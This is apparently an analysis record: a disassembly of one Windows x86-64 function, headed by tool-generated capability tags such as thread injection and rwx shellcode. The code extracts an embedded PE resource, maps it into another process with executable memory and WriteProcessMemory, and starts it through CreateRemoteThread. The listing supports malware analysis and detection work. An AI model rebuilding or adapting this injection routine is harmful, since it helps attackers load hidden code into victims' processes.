Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r15
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbp, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0x539
mov r8d, 0x100
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rbx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov rdi, rax
call fcn.140001858
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
mov r15, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x1400012fa
movsxd rsi, dword [r15 + 0x3c]
mov eax, 0x8664
add rsi, r15
cmp word [rsi + 4], ax
jne 0x1400012fa
mov r8d, dword [rsi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsi + 0x30]
mov rcx, rbp
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1400010f5
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400012fa
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movzx ebx, word [rsi + 0x14]
mov qword [rsp + 0x98], r12
add rbx, 0x28
xor r12d, r12d
mov qword [rsp + 0x40], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], r14
mov r14d, r12d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r12
cmp word [rsi + 6], r12w
je 0x140001178
add rbx, rsi
nop word [rax + rax]
mov eax, dword [rbx]
test eax, eax
je 0x140001168
mov r8d, dword [rbx + 4]
mov r9d, eax
mov edx, dword [rbx - 4]
add r8, r15
add rdx, rdi
mov qword [rsp + 0x20], r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400011e7
movzx eax, word [rsi + 6]
inc r14d
add rbx, 0x28
cmp r14d, eax
jne 0x140001140
movups xmm0, xmmword [rsp + 0x40]
mov r9d, 0x1000
mov r8, r15
movsd xmm1, qword [rsp + 0x50]
mov rdx, rdi
movups xmmword [r15], xmm0
mov rcx, rbp
mov qword [rsp + 0x20], r12
movsd qword [r15 + 0x10], xmm1
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, r15
call fcn.140001850
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, rbp
test rax, rax
jne 0x14000122e
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
jmp 0x1400011fe
mov rcx, r15
call fcn.140001850
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov r12, qword [rsp + 0x98]
mov r14, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001830
add rsp, 0x60
pop r15
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
lea r8, [0x140001310]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r12
mov r9, rsi
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140001294
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
jmp 0x1400011fb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop dword [rax]
xor eax, eax
mov qword [rsp + 0x20], r12
xorps xmm0, xmm0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x40]
mov rdx, rdi
mov rcx, rbp
lea r9d, [rax + 0x18]
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rsp + 0x50]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1400012a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x140001206
mov rcx, r15
call fcn.140001850
xor al, al
jmp 0x140001216